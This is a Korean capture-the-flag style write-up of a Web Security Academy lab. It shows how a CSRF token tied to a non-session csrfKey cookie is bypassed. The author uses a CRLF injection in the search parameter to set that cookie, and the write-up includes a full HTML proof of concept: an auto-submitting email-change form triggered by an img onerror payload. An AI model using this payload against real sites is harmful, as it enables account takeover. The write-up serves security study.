문제 설명
CSRF 공격을 통해 email을 변경하면 문제를 해결할 수 있다.
문제 풀이
wiener 계정으로 로그인한 상태에서 이메일 변경 요청을 진행하였다.
CSRF 토큰을 임의로 변경할 경우, 서버에서 CSRF 토큰 불일치 오류가 발생함을 확인하였다.
쿠키 값 csrfKey를 임의로 변조할 경우, 서버에서 CSRF 토큰 불일치 오류가 발생함을 확인하였다.
carlos 계정으로 이메일 변경 요청 시 캡처한 패킷을 분석한 결과, csrfKey 쿠키 값과 요청에 포함된 csrf 파라미터 값이 weiner 계정과 상이함을 확인하였다.
carlos 계정의 csrfKey 쿠키 값과 csrf 파라미터 값을 wiener 계정의 요청에 사용한 결과, 해당 요청이 정상적으로 처리됨을 확인하였다. 이를 통해 csrfKey 값을 지정할 수 있는경우 csrf 파라미터를 사용자가 임의로 설정할 수 있다.
해당 웹 페이지에는 검색(Search) 기능이 구현되어 있다.
사용자가 검색을 수행할 경우, 해당 검색 기록이 쿠키에 저장되는 동작을 확인하였다.
CRLF 인젝션을 통해 응답 헤더에 임의의 값을 추가할 수 있었으며, 이를 이용해 csrfKey 쿠키를 설정하는 데 성공하였다.
CSRF POC
응답 헤더에 Set-Cookie를 삽입하여 csrfKey 값을 임의로 지정하였으며, SameSite=None 속성을 부여하여 크로스사이트 요청에서도 해당 쿠키가 전송되도록 설정하였다. 이후, img 태그의 src 속성을 이용해 서버에 요청을 보내 쿠키를 설정한 뒤, onerror 속성을 활용하여 이메일 정보를 변경하는 CSRF 공격을 수행하였다.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ac1009c03bbd9468097dfb100f100b4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="carlos123123@carlos-montoya.net" />
<input type="hidden" name="csrf" value="IW4qTkepKFyE62yB3v2cqZU5tmG3LTEI" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0ac1009c03bbd9468097dfb100f100b4.web-security-academy.net/?search=asdasd;%0d%0aSet-Cookie:%20csrfKey=Hs6u5EfvjaxrB2wAlpYVMNPxXzBRLWGL;%20SameSite=%20none" onerror="document.forms[0].submit()">
</body>
</html>
CSRF POC를 요청하여 문제를 해결하였다.